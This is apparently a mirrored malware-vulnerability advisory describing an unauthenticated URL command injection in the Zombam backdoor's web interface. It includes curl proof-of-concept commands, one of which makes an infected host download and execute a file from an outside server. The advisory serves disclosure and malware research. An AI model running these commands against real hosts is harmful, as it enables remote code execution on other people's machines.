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Backdoor.Win32.Zombam.gen / Unauthenticated URL Command Injection

CVE Category Price Severity
CWE-78 Unknown High
Author Risk Exploitation Type Date
Unknown High Remote 2021-06-11
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N 0.98233 0.99833

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2021060067

Below is a copy:

Backdoor.Win32.Zombam.gen / Unauthenticated URL Command Injection
Discovery / credits: Malvuln - malvuln.com (c) 2021
Original source: https://malvuln.com/advisory/ff6516c881dee555b0cd253408b64404_B.txt
Contact: [email protected]
Media: twitter.com/malvuln

Threat: Backdoor.Win32.Zombam.gen
Vulnerability: Unauthenticated URL Command Injection 
Description: Zombam malware listens on TCP port 80 and deploys a HTML Web UI for basic remote administration capability. The RAT has option to kill processes by clicking a link E.g. href="/kill&smss.exe&" this would terminate the smss.exe process. By changing "kill" to exec "exec&<command-to-run>" you can start arbitrary processes. Crafting a successful injection requires padding an extra character to the end of the executable extension you want to call, otherwise it gets truncated and will fail. Example, curl http://x.x.x.x/exec&calc.exe results in the following message: "error! calc.ex cannot be executed". However, padding the extra character so ".exe" becomes ".exee", curl http://x.x.x.x/exec&calc.exee will successfully process and we will get the response "calc.exe executed".
Type: PE32
MD5: ff6516c881dee555b0cd253408b64404 
Vuln ID: MVID-2021-0244
Disclosure: 06/10/2021

Exploit/PoC:
Opens the default web-browser on the infected host to download the file "DOOM.exe" from the server.

CURL http://x.x.x.x/exec&http://hyp3rlinx.altervista.org/DOOM.exee

HTTP Response: 
http://hyp3rlinx.altervista.org/DOOM.exe executed


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